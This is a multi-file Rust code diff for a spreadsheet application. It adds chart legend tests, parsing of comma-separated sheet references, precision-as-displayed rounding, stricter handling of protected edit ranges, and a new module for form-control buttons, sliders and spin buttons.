assert_eq!(pixel(&img, w, cx as u32, (cy - r * t) as u32), b, "white seam at {t} of the slice");
|
||||
}
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn doughnut_legend_names_categories_and_matches_every_ring() {
|
||||
let mut c = chart(ChartKind::Doughnut);
|
||||
c.title = None;
|
||||
c.data_labels = false;
|
||||
c.legend = LegendPos::Right;
|
||||
c.first_slice_angle = 180;
|
||||
let d = ChartData {
|
||||
category_levels: vec![],
|
||||
palette: vec![[230, 126, 34, 255], [39, 174, 96, 255], [142, 68, 173, 255]],
|
||||
categories: ["A", "B", "C", "D"].iter().map(|s| s.to_string()).collect(),
|
||||
series: vec![
|
||||
series("Outer", &[1.0; 4], [20, 96, 130, 255], ChartKind::Doughnut),
|
||||
series("Inner", &[1.0; 4], [221, 132, 82, 255], ChartKind::Doughnut),
|
||||
],
|
||||
};
|
||||
let entries = legend_entries(&c, &d);
|
||||
assert_eq!(entries.iter().map(|(name, _, _)| name.as_str()).collect::<Vec<_>>(), ["A", "B", "C", "D"]);
|
||||
|
||||
let start = f32::from(c.first_slice_angle) * std::f32::consts::TAU / 360.0;
|
||||
let prims = render(&c, &d, 640.0, 400.0, &ApproxMeasure);
|
||||
let mut rings = Vec::new();
|
||||
for p in &prims {
|
||||
let Prim::Wedge { r_outer, a0, a1, fill, .. } = p else { continue };
|
||||
rings.push(*r_outer);
|
||||
let rel = ((a0 + a1) / 2.0 - start).rem_euclid(std::f32::consts::TAU);
|
||||
let cat = ((rel / (std::f32::consts::TAU / 4.0)) as usize).min(3);
|
||||
assert_eq!(*fill, entries[cat].1, "ring wedge at {a0}..{a1} does not match legend entry {}", entries[cat].0);
|
||||
}
|
||||
rings.sort_by(f32::total_cmp);
|
||||
rings.dedup();
|
||||
assert_eq!(rings.len(), 2, "two series must draw two rings");
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn legend_counts() {
|
||||
let d = sample(ChartKind::ColumnClustered);
|
||||
@@ -461,7 +774,11 @@ fn pie_starts_at_twelve_clockwise() {
|
||||
assert!(wedges.windows(2).all(|w| w[1].0 >= w[0].1 - 1e-4));
|
||||
assert!((wedges[5].1 - std::f32::consts::TAU).abs() < 1e-3);
|
||||
assert!(wedges.iter().all(|w| w.2 == 0.0 && w.3.map(|s| s.0) == Some([255; 4])));
|
||||
let prims = render(&chart(ChartKind::Doughnut), &d, 400.0, 400.0, &ApproxMeasure);
|
||||
let mut c = chart(ChartKind::Doughnut);
|
||||
c.hole_size = 50;
|
||||
let mut d = sample(ChartKind::Doughnut);
|
||||
d.series.truncate(1);
|
||||
let prims = render(&c, &d, 400.0, 400.0, &ApproxMeasure);
|
||||
let ok = prims.iter().any(|p| matches!(p, Prim::Wedge { r_outer, r_inner, .. } if (r_inner / r_outer - 0.5).abs() < 1e-3));
|
||||
assert!(ok);
|
||||
}
|
||||
|
||||
@@ -296,10 +296,40 @@ pub fn split_sheet(reference: &str) -> (Option<String>, &str) {
|
||||
}
|
||||
}
|
||||
|
||||
/// The areas of a reference list, split at the commas between them. A comma inside a quoted
|
||||
/// sheet name (`'Sales, West'!A1`) is part of the name, and a doubled quote inside the quotes
|
||||
/// (`'O''Brien, Jr'!A1`) is an escaped quote, not the end of the name: a quote toggles the
|
||||
/// quoted state, so a doubled one toggles it twice.
|
||||
pub fn split_areas(reference: &str) -> Vec<&str> {
|
||||
let mut areas = Vec::new();
|
||||
let (mut start, mut quoted) = (0, false);
|
||||
for (i, c) in reference.char_indices() {
|
||||
match c {
|
||||
'\'' => quoted = !quoted,
|
||||
',' if !quoted => {
|
||||
areas.push(reference.get(start..i).unwrap_or_default());
|
||||
start = i.saturating_add(1);
|
||||
}
|
||||
_ => {}
|
||||
}
|
||||
}
|
||||
areas.push(reference.get(start..).unwrap_or_default());
|
||||
areas
|
||||
}
|
||||
|
||||
#[cfg(test)]
|
||||
mod tests {
|
||||
use super::*;
|
||||
|
||||
#[test]
|
||||
fn areas_split_only_at_commas_outside_quoted_sheet_names() {
|
||||
assert_eq!(split_areas("B2:B4,D1"), ["B2:B4", "D1"]);
|
||||
assert_eq!(split_areas("'Sales, West'!$A$1"), ["'Sales, West'!$A$1"]);
|
||||
assert_eq!(split_areas("'O''Brien, Jr'!A1:B2,D4"), ["'O''Brien, Jr'!A1:B2", "D4"]);
|
||||
assert_eq!(split_areas("'Q1, Q2'!A1,'Q3, Q4'!B2"), ["'Q1, Q2'!A1", "'Q3, Q4'!B2"]);
|
||||
assert_eq!(split_areas(""), [""]);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn range_parse_rejects_signed_rows() -> Result<(), std::io::Error> {
|
||||
assert!(RangeRef::parse("+1:+3").is_none());
|
||||
|
||||
@@ -11,7 +11,7 @@ pub mod value;
|
||||
|
||||
pub use addr::{
|
||||
CategoryLevels, CellRef, MAX_COLS, MAX_ROWS, RangeRef, category_levels, col_to_letters, letters_to_col, quote_sheet, sheet_needs_quotes,
|
||||
split_sheet, unquote_sheet,
|
||||
split_areas, split_sheet, unquote_sheet,
|
||||
};
|
||||
pub use date::DateSystem;
|
||||
pub use value::{Array, CellError, Value, compare, compare_numbers, compare_text, number_to_text, sort_compare};
|
||||
|
||||
@@ -275,6 +275,11 @@ pub const CATALOG: &[(&str, &str, &str, &str)] = &[
|
||||
("automate.allScripts", "Automate", "Scripting Tools", "All Scripts"),
|
||||
("automate.recordActions", "Automate", "Scripting Tools", "Record Actions"),
|
||||
("automate.trustScripts", "Automate", "Scripting Tools", "Trust Scripts"),
|
||||
// Developer (Insert › Controls in GridCraft)
|
||||
("insert.button", "Developer", "Controls", "Button (Form Control)"),
|
||||
("insert.spinButton", "Developer", "Controls", "Spin Button (Form Control)"),
|
||||
("insert.slider", "Developer", "Controls", "Scroll Bar (Form Control)"),
|
||||
("control.format", "Developer", "Controls", "Properties"),
|
||||
// Table Design
|
||||
("table.rename", "Table Design", "Properties", "Table Name"),
|
||||
("table.resize", "Table Design", "Properties", "Resize Table"),
|
||||
|
||||
+124
-3
@@ -2,6 +2,7 @@
|
||||
//! `data.sortAscending`) plus primitive editing commands (`cell.set`, `selection.set`).
|
||||
|
||||
pub mod analysis;
|
||||
pub mod controls;
|
||||
pub mod data;
|
||||
pub mod draw;
|
||||
pub mod edit;
|
||||
@@ -165,6 +166,7 @@ pub fn command_specs() -> &'static [CommandSpec] {
|
||||
v.extend(format::specs());
|
||||
v.extend(sheet::specs());
|
||||
v.extend(insert::specs());
|
||||
v.extend(controls::specs());
|
||||
v.extend(equation::specs());
|
||||
v.extend(data::specs());
|
||||
v.extend(formulas::specs());
|
||||
@@ -404,7 +406,7 @@ pub(crate) fn commit<R>(d: &mut DocState, f: impl FnOnce(&mut Ctx) -> Result<R>)
|
||||
edits: Vec::new(),
|
||||
};
|
||||
let r = f(&mut ctx)?;
|
||||
let Ctx { mut wb, changed, structural, mut fit_rows, protection_checked, edits, .. } = ctx;
|
||||
let Ctx { mut wb, mut changed, structural, mut fit_rows, protection_checked, edits, .. } = ctx;
|
||||
// Equations whose source changed (or that arrived without a layout, as from a paste) are
|
||||
// laid out here, so painting only ever reads the cache.
|
||||
wb.refresh_equations();
|
||||
@@ -414,6 +416,9 @@ pub(crate) fn commit<R>(d: &mut DocState, f: impl FnOnce(&mut Ctx) -> Result<R>)
|
||||
if !structural {
|
||||
check_arrays(&d.wb, &wb)?;
|
||||
}
|
||||
if wb.calc.precision_as_displayed {
|
||||
round_edited_as_displayed(&d.wb, &mut wb, &mut changed, structural);
|
||||
}
|
||||
if let Some(log) = d.touched.as_mut() {
|
||||
for (si, c) in changed.iter().take(TOUCH_LOG_LIMIT.saturating_sub(log.len())) {
|
||||
if let Some(sh) = wb.sheet(*si) {
|
||||
@@ -435,6 +440,7 @@ pub(crate) fn commit<R>(d: &mut DocState, f: impl FnOnce(&mut Ctx) -> Result<R>)
|
||||
} else if !changed.is_empty() {
|
||||
d.calc.cells_changed(&mut wb, &changed);
|
||||
}
|
||||
controls::sync_linked_values(&mut wb);
|
||||
if let Some(t0) = t0 {
|
||||
eprintln!("commit: + recalc {:?}", since(t0));
|
||||
}
|
||||
@@ -451,6 +457,117 @@ pub(crate) fn commit<R>(d: &mut DocState, f: impl FnOnce(&mut Ctx) -> Result<R>)
|
||||
Ok(r)
|
||||
}
|
||||
|
||||
/// "Set precision as displayed": a number typed, pasted or reformatted is stored as its format
|
||||
/// shows it (Excel rounds a constant when it is entered and when its cell's format changes,
|
||||
/// observed through COM). Only cells the edit touched are visited, so this costs nothing for
|
||||
/// the rest of the workbook; formula cells whose format changed are recalculated, and the
|
||||
/// recalculation rounds them. A structural edit recalculates everything anyway, so it only
|
||||
/// rounds its constants (a sheet the edit created, for one, holds written numbers).
|
||||
fn round_edited_as_displayed(old: &Workbook, wb: &mut Workbook, changed: &mut Vec<gridcraft_calc::Key>, structural: bool) {
|
||||
let mut prec = gridcraft_calc::DisplayedPrecision::new();
|
||||
for si in 0..wb.sheets.len() {
|
||||
let Some(after) = wb.sheets.get(si) else { continue };
|
||||
// Sheets are matched by name. A sheet the edit created has no earlier version, so all of
|
||||
// its cells are new.
|
||||
let before = old.sheet_index(&after.name).and_then(|i| old.sheets.get(i));
|
||||
if before.is_some_and(|b| std::sync::Arc::ptr_eq(b, after)) {
|
||||
continue;
|
||||
}
|
||||
let diffs: Vec<CellRef> = match before {
|
||||
Some(before) => before.cells.diff(&after.cells),
|
||||
None => after.cells.iter().map(|(c, _)| c).collect(),
|
||||
};
|
||||
let mut anchors = std::collections::HashSet::new();
|
||||
for &c in &diffs {
|
||||
if !structural && after.cell(c).is_some_and(|cell| cell.formula.is_some()) {
|
||||
changed.push((si, c));
|
||||
anchors.insert(c);
|
||||
}
|
||||
}
|
||||
let updates = displayed_updates(&mut prec, wb, si, diffs.iter().copied());
|
||||
// A spill destination is no stored cell: reformatting it (or its row or column) leaves
|
||||
// no change in the store, so its anchor is recalculated to round the new element.
|
||||
if let (Some(before), false) = (before, structural) {
|
||||
for (&anchor, range) in &after.spill_ranges {
|
||||
if !anchors.contains(&anchor)
|
||||
&& (diffs.iter().any(|d| range.contains(*d))
|
||||
|| line_styles_differ(&before.rows, &after.rows, range.start.row, range.end.row)
|
||||
|| line_styles_differ(&before.cols, &after.cols, range.start.col, range.end.col))
|
||||
{
|
||||
changed.push((si, anchor));
|
||||
}
|
||||
}
|
||||
}
|
||||
if updates.is_empty() {
|
||||
continue;
|
||||
}
|
||||
let Some(sh) = wb.sheet_mut(si) else { continue };
|
||||
for (c, r) in updates {
|
||||
if let Some(cell) = sh.cells.get_mut(c) {
|
||||
cell.value = gridcraft_core::Value::Number(r);
|
||||
if !structural {
|
||||
changed.push((si, c));
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/// Whether any row or column style in `lo..=hi` differs between two sheets' line maps.
|
||||
fn line_styles_differ(
|
||||
before: &std::collections::BTreeMap<u32, gridcraft_model::LineInfo>,
|
||||
after: &std::collections::BTreeMap<u32, gridcraft_model::LineInfo>,
|
||||
lo: u32,
|
||||
hi: u32,
|
||||
) -> bool {
|
||||
let style = |m: &std::collections::BTreeMap<u32, gridcraft_model::LineInfo>, k: u32| m.get(&k).and_then(|l| l.style);
|
||||
after.range(lo..=hi).any(|(k, l)| l.style != style(before, *k)) || before.range(lo..=hi).any(|(k, l)| l.style != style(after, *k))
|
||||
}
|
||||
|
||||
/// Turning "Set precision as displayed" on rounds every number constant in the workbook to its
|
||||
/// format, permanently (Excel warns "Data will permanently lose accuracy"). Formulas are rounded
|
||||
/// by the recalculation that follows.
|
||||
pub(crate) fn round_all_constants_as_displayed(wb: &mut Workbook) {
|
||||
let mut prec = gridcraft_calc::DisplayedPrecision::new();
|
||||
for si in 0..wb.sheets.len() {
|
||||
let Some(sh) = wb.sheets.get(si) else { continue };
|
||||
let updates = displayed_updates(&mut prec, wb, si, sh.cells.iter().map(|(c, _)| c));
|
||||
if updates.is_empty() {
|
||||
continue;
|
||||
}
|
||||
let Some(sh) = wb.sheet_mut(si) else { continue };
|
||||
for (c, r) in updates {
|
||||
if let Some(cell) = sh.cells.get_mut(c) {
|
||||
cell.value = gridcraft_core::Value::Number(r);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/// The constants among `cells` on sheet `si` whose value the option changes, with their rounded
|
||||
/// values. A locked constant on a protected sheet keeps its value: protection keeps its content,
|
||||
/// and rounding it by its format would change the content that the sheet protects.
|
||||
fn displayed_updates(
|
||||
prec: &mut gridcraft_calc::DisplayedPrecision,
|
||||
wb: &Workbook,
|
||||
si: usize,
|
||||
cells: impl Iterator<Item = CellRef>,
|
||||
) -> Vec<(CellRef, f64)> {
|
||||
let Some(sh) = wb.sheet(si) else { return Vec::new() };
|
||||
cells
|
||||
.filter(|&c| !(sh.is_protected() && wb.styles.get(sh.style_id(c)).protection.locked))
|
||||
.filter_map(|c| {
|
||||
let cell = sh.cell(c)?;
|
||||
match cell.value {
|
||||
gridcraft_core::Value::Number(n) if cell.formula.is_none() => {
|
||||
let r = prec.round(wb, si, c, n);
|
||||
(r.to_bits() != n.to_bits()).then_some((c, r))
|
||||
}
|
||||
_ => None,
|
||||
}
|
||||
})
|
||||
.collect()
|
||||
}
|
||||
/// The most cells a dry run's touch log keeps; a footprint whose log is full may be missing writes
|
||||
/// that kept a cell's value, so a shift is refused then.
|
||||
pub(crate) const TOUCH_LOG_LIMIT: usize = 1_000_000;
|
||||
@@ -503,10 +620,14 @@ pub(crate) fn refuse_unless_allowed(s: &Session, sheet: usize, what: &str, pick:
|
||||
pub(crate) fn locked_cell_error(sh: &gridcraft_model::Sheet, c: CellRef, unlocked: &[(String, String)]) -> Option<String> {
|
||||
let mut needs_password = None;
|
||||
for r in sh.edit_ranges.iter().filter(|r| r.contains(c)) {
|
||||
if r.password.is_none() || unlocked.iter().any(|(s, t)| *s == sh.name && *t == r.title) {
|
||||
// A range limited to Windows users or groups (a security descriptor) can't be checked
|
||||
// here, so without a password it stays locked rather than opening to every editor.
|
||||
if (r.password.is_none() && r.security_descriptor.is_none()) || unlocked.iter().any(|(s, t)| *s == sh.name && *t == r.title) {
|
||||
return None;
|
||||
}
|
||||
needs_password.get_or_insert(r.title.as_str());
|
||||
if r.password.is_some() {
|
||||
needs_password.get_or_insert(r.title.as_str());
|
||||
}
|
||||
}
|
||||
Some(match needs_password {
|
||||
Some(t) => format!("The range \"{t}\" needs its password before it can be changed (Review › Allow Edit Ranges)."),
|
||||
|
||||
@@ -0,0 +1,711 @@
|
||||
//! Form controls (Insert › Controls): buttons that run a macro or a command, and sliders and spin
|
||||
//! buttons that hold a whole number from 0 to 30000 and write it to a linked cell.
|
||||
//!
|
||||
//! A slider or spin button's value lives on the control and in its linked cell. Setting it goes
|
||||
//! through `cell.set`, so the cell's dependents recalculate and Undo takes both back as one step;
|
||||
//! editing the linked cell moves the control (see [`sync_linked_values`]). Pressing a button runs
|
||||
//! its action through the macro policy with the document's trust, so a button from a file someone
|
||||
//! else made asks before it runs anything.
|
||||
|
||||
use gridcraft_core::CellRef;
|
||||
use gridcraft_model::{
|
||||
Anchor, AnchorMode, CONTROL_MAX, ControlAction, ControlKind, FormControl, MAX_MACRO_NAME, MacroInput, ObjKind, Sheet, Workbook,
|
||||
};
|
||||
use serde_json::{Value as Json, json};
|
||||
|
||||
use super::{
|
||||
CommandSpec, EngineError, PROTECTED, Result, Session, anchor_mode_param, bad, bool_param, cell_param, cmd, edit, f64_param, find_command,
|
||||
has_doc, split_sheet, stash, str_param, u32_param,
|
||||
};
|
||||
use crate::macros::policy::{Policy, macro_policy};
|
||||
|
||||
pub fn specs() -> Vec<CommandSpec> {
|
||||
vec![
|
||||
cmd!(
|
||||
"insert.button",
|
||||
"Button",
|
||||
["Insert", "Controls"],
|
||||
None,
|
||||
"{at?: \"B2\" (or cell), dx?, dy?, width?, height?, text?, macro?: name, input?: \"selection\" | \"B2:D9\", output?: \"F2\", command?: id, params?: {..}} places a button; pressing it runs the macro or the command → {control: id}",
|
||||
has_doc,
|
||||
insert_button
|
||||
),
|
||||
cmd!(
|
||||
"insert.slider",
|
||||
"Slider",
|
||||
["Insert", "Controls"],
|
||||
None,
|
||||
"{at?: \"B2\" (or cell), dx?, dy?, width?, height?, link?: \"$B$1\" | \"Sheet2!$B$1\", min?: 0, max?: 100, step?: 1, page?: 10, value?, horizontal?: true} whole numbers, 0 ≤ min < max ≤ 30000, 1 ≤ step ≤ max − min, page ≥ step → {control: id}",
|
||||
has_doc,
|
||||
|s, p| insert_number_control(s, p, ControlKind::Slider)
|
||||
),
|
||||
cmd!(
|
||||
"insert.spinButton",
|
||||
"Spin Button",
|
||||
["Insert", "Controls"],
|
||||
None,
|
||||
"{at?: \"B2\" (or cell), dx?, dy?, width?, height?, link?: \"$B$1\", min?: 0, max?: 100, step?: 1, value?} whole numbers, 0 ≤ min < max ≤ 30000, 1 ≤ step ≤ max − min → {control: id}",
|
||||
has_doc,
|
||||
|s, p| insert_number_control(s, p, ControlKind::Spin)
|
||||
),
|
||||
cmd!(
|
||||
"control.format",
|
||||
"Format Control",
|
||||
[],
|
||||
None,
|
||||
"{id, text?, name?, link?: \"$B$1\" | \"\" (no link), min?, max?, step?, page?, value?, horizontal?, print?, locked?} → the control (as control.list)",
|
||||
has_doc,
|
||||
format
|
||||
),
|
||||
cmd!(
|
||||
"control.assign",
|
||||
"Assign Action",
|
||||
[],
|
||||
None,
|
||||
"{id, macro?: name, input?: \"selection\" | \"B2:D9\", output?: \"F2\" | command?: id, params?: {..} | clear?: true} sets what a button runs → the control",
|
||||
has_doc,
|
||||
assign
|
||||
),
|
||||
cmd!(
|
||||
"control.setValue",
|
||||
"Change Control Value",
|
||||
[],
|
||||
None,
|
||||
"{id, value} clamps the value to min..max, snaps it to the step, and writes it to the linked cell → {value}",
|
||||
has_doc,
|
||||
set_value
|
||||
),
|
||||
cmd!(
|
||||
"control.press",
|
||||
"Press Button",
|
||||
[],
|
||||
None,
|
||||
"{id, approve?: bool, onConflict?, overwrite?} runs a button's macro or command (through the macro policy, with the workbook's trust; a workbook from a file asks first) → what the macro or command returned",
|
||||
has_doc,
|
||||
press
|
||||
),
|
||||
cmd!(query "control.list", "Form Controls", [], None, "{} → the active sheet's controls: [{id, kind, name, text, at, link?, value, min, max, step, page, horizontal, action?}]", has_doc, list),
|
||||
]
|
||||
}
|
||||
|
||||
/// The longest caption or name a control takes.
|
||||
const MAX_TEXT: usize = 1_024;
|
||||
|
||||
fn control_json(c: &FormControl) -> Json {
|
||||
let mut o = json!({
|
||||
"id": c.id,
|
||||
"kind": match c.kind { ControlKind::Button => "button", ControlKind::Slider => "slider", ControlKind::Spin => "spinButton" },
|
||||
"name": c.display_name(),
|
||||
"at": c.anchor.cell.a1(),
|
||||
"width": c.anchor.width,
|
||||
"height": c.anchor.height,
|
||||
"print": c.print,
|
||||
"locked": c.locked,
|
||||
});
|
||||
if c.kind == ControlKind::Button {
|
||||
o["text"] = json!(c.text);
|
||||
if let Some(a) = &c.action {
|
||||
o["action"] = serde_json::to_value(a).unwrap_or(Json::Null);
|
||||
}
|
||||
} else {
|
||||
o["value"] = json!(c.value);
|
||||
o["min"] = json!(c.min);
|
||||
o["max"] = json!(c.max);
|
||||
o["step"] = json!(c.step);
|
||||
if c.kind == ControlKind::Slider {
|
||||
o["page"] = json!(c.page);
|
||||
o["horizontal"] = json!(c.horizontal);
|
||||
}
|
||||
}
|
||||
if let Some(l) = &c.link {
|
||||
o["link"] = json!(l);
|
||||
}
|
||||
o
|
||||
}
|
||||
|
||||
fn list(s: &mut Session, _: &Json) -> Result<Json> {
|
||||
let sh = s.doc()?.wb.active().ok_or(EngineError::NoDocument)?;
|
||||
Ok(Json::Array(sh.controls.iter().map(control_json).collect()))
|
||||
}
|
||||
|
||||
/// A whole number from 0 to 30000 named `key`, if given. Numbers in text (`"12"`) count; anything
|
||||
/// else is refused with a message that names the parameter.
|
||||
fn whole(cmd: &str, p: &Json, key: &str) -> Result<Option<u32>> {
|
||||
let v = match p.get(key) {
|
||||
None | Some(Json::Null) => return Ok(None),
|
||||
Some(Json::Number(n)) => n.as_f64(),
|
||||
Some(Json::String(t)) => t.trim().parse::<f64>().ok(),
|
||||
Some(_) => None,
|
||||
};
|
||||
match v {
|
||||
Some(x) if x.is_finite() && x.fract() == 0.0 && (0.0..=CONTROL_MAX as f64).contains(&x) => Ok(Some(x as u32)),
|
||||
_ => Err(bad(cmd, format!("`{key}` must be a whole number from 0 to {CONTROL_MAX}"))),
|
||||
}
|
||||
}
|
||||
|
||||
fn text_param(cmd: &str, p: &Json, key: &str) -> Result<Option<String>> {
|
||||
match p.get(key) {
|
||||
None | Some(Json::Null) => Ok(None),
|
||||
Some(Json::String(t)) if t.chars().count() <= MAX_TEXT => Ok(Some(t.clone())),
|
||||
Some(Json::String(_)) => Err(bad(cmd, format!("`{key}` is longer than {MAX_TEXT} characters"))),
|
||||
Some(_) => Err(bad(cmd, format!("`{key}` must be text"))),
|
||||
}
|
||||
}
|
||||
|
||||
/// The cell a link names, from the control's sheet `host`: `(sheet index, cell)`. `None` when it
|
||||
/// doesn't name one cell of an existing sheet (a link into a deleted sheet reads `#REF!`).
|
||||
pub fn link_target(wb: &Workbook, host: usize, link: &str) -> Option<(usize, CellRef)> {
|
||||
let text = link.trim().trim_start_matches('=');
|
||||
let (sheet, body) = split_sheet(text);
|
||||
let si = match sheet {
|
||||
Some(n) => wb.sheet_index(&n)?,
|
||||
None => host,
|
||||
};
|
||||
wb.sheet(si)?;
|
||||
Some((si, CellRef::parse(body.trim())?))
|
||||
}
|
||||
|
||||
/// A link parameter in its stored form: `$B$2` on the host sheet, `'My Sheet'!$B$2` elsewhere.
|
||||
/// An empty text removes the link.
|
||||
fn link_param(cmd: &str, wb: &Workbook, host: usize, p: &Json) -> Result<Option<Option<String>>> {
|
||||
let text = match p.get("link") {
|
||||
None => return Ok(None),
|
||||
Some(Json::Null) => return Ok(Some(None)),
|
||||
Some(Json::String(t)) => t.trim(),
|
||||
Some(_) => return Err(bad(cmd, "`link` must be a cell reference such as $B$1")),
|
||||
};
|
||||
if text.is_empty() {
|
||||
return Ok(Some(None));
|
||||
}
|
||||
let (si, c) = link_target(wb, host, text)
|
||||
.ok_or_else(|| bad(cmd, format!("`{text}` isn't a cell of this workbook; the link must be one cell, such as $B$1")))?;
|
||||
let abs = format!("${}${}", gridcraft_core::col_to_letters(c.col), c.row as u64 + 1);
|
||||
Ok(Some(Some(if si == host {
|
||||
abs
|
||||
} else {
|
||||
let name = wb.sheet(si).map(|sh| sh.name.clone()).unwrap_or_default();
|
||||
format!("{}!{abs}", gridcraft_formula::quote_sheet(&name))
|
||||
})))
|
||||
}
|
||||
|
||||
/// The anchor of a new control: `at` or `cell` (default the active cell), with its size.
|
||||
fn new_anchor(s: &Session, p: &Json, size: (f32, f32)) -> Result<Anchor> {
|
||||
let cell = match cell_param(s, p, "at")? {
|
||||
Some(c) => c,
|
||||
None => cell_param(s, p, "cell")?.unwrap_or(s.doc()?.selection.active),
|
||||
};
|
||||
let dim = |k: &str, v: f32| f64_param(p, k).filter(|x| x.is_finite()).map_or(v, |x| x.clamp(4.0, 10_000.0) as f32);
|
||||
let off = |k: &str| f64_param(p, k).filter(|x| x.is_finite()).map_or(0.0, |x| x.clamp(-10_000.0, 10_000.0) as f32);
|
||||
Ok(Anchor {
|
||||
cell,
|
||||
dx: off("dx"),
|
||||
dy: off("dy"),
|
||||
width: dim("width", size.0),
|
||||
height: dim("height", size.1),
|
||||
mode: anchor_mode_param(p).unwrap_or(AnchorMode::MoveOnly),
|
||||
})
|
||||
}
|
||||
|
||||
fn insert_button(s: &mut Session, p: &Json) -> Result<Json> {
|
||||
const CMD: &str = "insert.button";
|
||||
let anchor = new_anchor(s, p, (96.0, 28.0))?;
|
||||
let action = action_param(s, CMD, p)?;
|
||||
let d = s.doc()?;
|
||||
let id = d.wb.next_object_id();
|
||||
let text = text_param(CMD, p, "text")?.unwrap_or_else(|| format!("Button {id}"));
|
||||
let sheet = d.wb.active_sheet();
|
||||
let control = FormControl { id, kind: ControlKind::Button, anchor, text, action, ..FormControl::default() };
|
||||
edit(s, |cx| {
|
||||
cx.sheet_mut(sheet)?.controls.push(control);
|
||||
Ok(json!({"control": id}))
|
||||
})
|
||||
}
|
||||
|
||||
fn insert_number_control(s: &mut Session, p: &Json, kind: ControlKind) -> Result<Json> {
|
||||
let cmd = if kind == ControlKind::Slider { "insert.slider" } else { "insert.spinButton" };
|
||||
let horizontal = bool_param(p, "horizontal").unwrap_or(true);
|
||||
let size = match kind {
|
||||
ControlKind::Slider if horizontal => (144.0, 18.0),
|
||||
ControlKind::Slider => (18.0, 144.0),
|
||||
_ => (18.0, 36.0),
|
||||
};
|
||||
let anchor = new_anchor(s, p, size)?;
|
||||
let d = s.doc()?;
|
||||
let sheet = d.wb.active_sheet();
|
||||
let id = d.wb.next_object_id();
|
||||
let mut c = FormControl { id, kind, anchor, horizontal, ..FormControl::default() };
|
||||
numbers(cmd, p, &mut c)?;
|
||||
if let Some(link) = link_param(cmd, &d.wb, sheet, p)? {
|
||||
c.link = link;
|
||||
}
|
||||
let given = whole(cmd, p, "value")?;
|
||||
// Without a value, a control starts at the number its linked cell holds (or its minimum).
|
||||
let start = given.map(f64::from).or_else(|| linked_number(&d.wb, sheet, &c)).unwrap_or(c.min as f64);
|
||||
c.value = c.snap(start);
|
||||
let value = c.value;
|
||||
let link = c.link.clone();
|
||||
s.grouped(&format!("Insert {}", kind.label()), |s| {
|
||||
edit(s, |cx| {
|
||||
cx.sheet_mut(sheet)?.controls.push(c);
|
||||
Ok(())
|
||||
})?;
|
||||
if given.is_some() {
|
||||
write_link(s, sheet, link.as_deref(), value)?;
|
||||
}
|
||||
Ok(json!({"control": id}))
|
||||
})
|
||||
}
|
||||
|
||||
/// Applies `min`, `max`, `step`, `page` and `value` from `p` to `c` and checks the result.
|
||||
fn numbers(cmd: &str, p: &Json, c: &mut FormControl) -> Result<()> {
|
||||
for (key, slot) in [("min", &mut c.min), ("max", &mut c.max), ("step", &mut c.step), ("page", &mut c.page)] {
|
||||
if let Some(v) = whole(cmd, p, key)? {
|
||||
*slot = v;
|
||||
}
|
||||
}
|
||||
// A new slider's page follows a larger step unless it was given.
|
||||
if p.get("page").is_none() && c.page < c.step {
|
||||
c.page = c.step;
|
||||
}
|
||||
c.check_numbers().map_err(|e| bad(cmd, e))
|
||||
}
|
||||
|
||||
/// The number the control's linked cell holds, if it holds one.
|
||||
fn linked_number(wb: &Workbook, host: usize, c: &FormControl) -> Option<f64> {
|
||||
let (si, cell) = link_target(wb, host, c.link.as_deref()?)?;
|
||||
wb.sheet(si)?.cell(cell)?.value.as_f64()
|
||||
}
|
||||
|
||||
/// Writes `value` to the linked cell through `cell.set` (nothing without a link, or when the cell
|
||||
/// already shows `value`, formula or not: Format Control's OK sends the value back every time, and
|
||||
/// a write that changes nothing must not turn a formula into a constant or fail on a locked cell
|
||||
/// of a protected sheet; a real change replaces a formula with the constant, as in Excel).
|
||||
fn write_link(s: &mut Session, host: usize, link: Option<&str>, value: u32) -> Result<()> {
|
||||
let Some(link) = link else { return Ok(()) };
|
||||
let Some((si, cell)) = link_target(&s.doc()?.wb, host, link) else { return Ok(()) };
|
||||
let holds = s.doc()?.wb.sheet(si).and_then(|sh| sh.cell(cell)).and_then(|c| c.value.as_f64());
|
||||
if holds == Some(value as f64) {
|
||||
return Ok(());
|
||||
}
|
||||
s.execute("cell.set", json!({"sheet": si, "cell": cell.a1(), "input": value.to_string()}))?;
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// The control `id` names on the active sheet: (sheet, its index in `controls`, a copy).
|
||||
fn find(s: &Session, cmd: &str, p: &Json) -> Result<(usize, usize, FormControl)> {
|
||||
let id = u32_param(p, "id").ok_or_else(|| bad(cmd, "missing `id` (a control id from control.list)"))?;
|
||||
let d = s.doc()?;
|
||||
let sheet = d.wb.active_sheet();
|
||||
let sh = d.wb.sheet(sheet).ok_or(EngineError::NoDocument)?;
|
||||
let i = sh.controls.iter().position(|c| c.id == id).ok_or_else(|| bad(cmd, format!("there is no control {id} on this sheet")))?;
|
||||
let c = sh.controls.get(i).cloned().ok_or_else(|| bad(cmd, "no such control"))?;
|
||||
Ok((sheet, i, c))
|
||||
}
|
||||
|
||||
/// Drawing objects on a protected sheet can't be changed while they are locked.
|
||||
/// For the object commands (`object.move`, `object.delete`, `object.setAnchorMode`, `arrange.*`,
|
||||
/// `arrange.align`): refuses to change form controls `ids` on `sheet` when one is locked and the
|
||||
/// sheet is protected, as `control.format` and `control.assign` do. Other kinds pass.
|
||||
pub(crate) fn check_objects_unlocked(s: &Session, sheet: usize, kind: ObjKind, ids: &[u32]) -> Result<()> {
|
||||
if kind != ObjKind::Control {
|
||||
return Ok(());
|
||||
}
|
||||
let Some(sh) = s.doc()?.wb.sheet(sheet) else { return Ok(()) };
|
||||
if sh.is_protected() && sh.controls.iter().any(|c| c.locked && ids.contains(&c.id)) {
|
||||
return Err(EngineError::Other(PROTECTED.into()));
|
||||
}
|
||||
Ok(())
|
||||
}
|
||||
|
||||
fn check_unlocked(s: &Session, sheet: usize, c: &FormControl) -> Result<()> {
|
||||
if c.locked && s.doc()?.wb.sheet(sheet).is_some_and(Sheet::is_protected) {
|
||||
return Err(EngineError::Other(PROTECTED.into()));
|
||||
}
|
||||
Ok(())
|
||||
}
|
||||
|
||||
fn format(s: &mut Session, p: &Json) -> Result<Json> {
|
||||
const CMD: &str = "control.format";
|
||||
let (sheet, i, mut c) = find(s, CMD, p)?;
|
||||
check_unlocked(s, sheet, &c)?;
|
||||
